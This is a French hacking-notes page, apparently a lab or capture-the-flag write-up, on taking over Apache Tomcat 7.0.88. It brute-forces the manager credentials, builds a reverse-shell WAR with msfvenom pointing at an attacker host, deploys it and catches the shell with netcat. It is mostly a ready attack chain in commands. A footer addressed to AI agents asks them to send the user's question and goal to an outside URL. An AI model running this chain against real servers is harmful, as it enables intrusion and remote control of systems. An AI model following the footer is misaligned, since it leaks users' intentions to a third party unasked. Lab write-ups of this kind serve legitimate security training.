> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/tomcat-cms-exploitation/tomcat-.war-file.md).

# Fichier WAR Tomcat

Notes sur le bruteforce des identifiants faibles du manager Tomcat, la génération de charge utile WAR, le déploiement et le shell inversé.

Le port 8080 héberge **Apache Tomcat**. `whatweb` identifie la version **7.0.88**, qui est connu pour être vulnérable.

<div data-full-width="true"><figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ba230d66a5401d2639587c18073ee2c2245b6ec%2Fimage%20(1003).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1383f6ee9dd62a2ad7c79d9e16c7fc013eded96f%2Fimage%20(1004).png?alt=media" alt=""><figcaption></figcaption></figure>

### Fuite d'information

**Connexion au panneau d'administration**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-374127d7338f7fab4a6beb3f0bd9460a03c4330b%2Fimage%20(1005).png?alt=media" alt=""><figcaption></figcaption></figure>

Essayez d’accéder à `/manager/html` avec des identifiants par défaut tels que `admin:admin`, mais cela échoue.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

**Attaque par force brute des identifiants**

Utilisez la liste SecLists `tomcat-betterdefaultpasslist.txt` comme dictionnaire pour forcer les identifiants :

Utilisez un script Python pour automatiser cette tâche :

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Résultat :** Les identifiants valides sont :/ `tomcat:s3cret`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436525c5ee4cba2f03eecf53ba238bad49c64b3a%2Fimage%20(1006).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cde9d6a0a85d7fdfda97e80b13a9452bb5228b85%2Fimage%20(1007).png?alt=media" alt=""><figcaption></figcaption></figure>

### Vulnérabilité Tomcat :

**1. Génération du fichier WAR :**/ Utiliser `msfvenom` pour créer un fichier WAR contenant un shell inversé :

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb6d5ea38d998d3153a92c9f4b345e3f4891433b%2Fimage%20(1008).png?alt=media" alt=""><figcaption></figcaption></figure>

**2. Déploiement via Tomcat Manager :**/ Téléversez le fichier WAR via `/manager/html`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d93f9969dce76ae1a6e01363164dbfc8461c299%2Fimage%20(1009).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**3. Écouteur du shell inversé :**/ Mettez en place un écouteur pour intercepter la connexion inversée :

```bash
rlwrap nc -nlvp 443
```

En déclenchant le fichier déployé (`/reverse`) fournit un shell interactif sur la cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e7eb9a9a376d66e5be5cfaa4a8a433a665cea9%2Fimage%20(1010).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
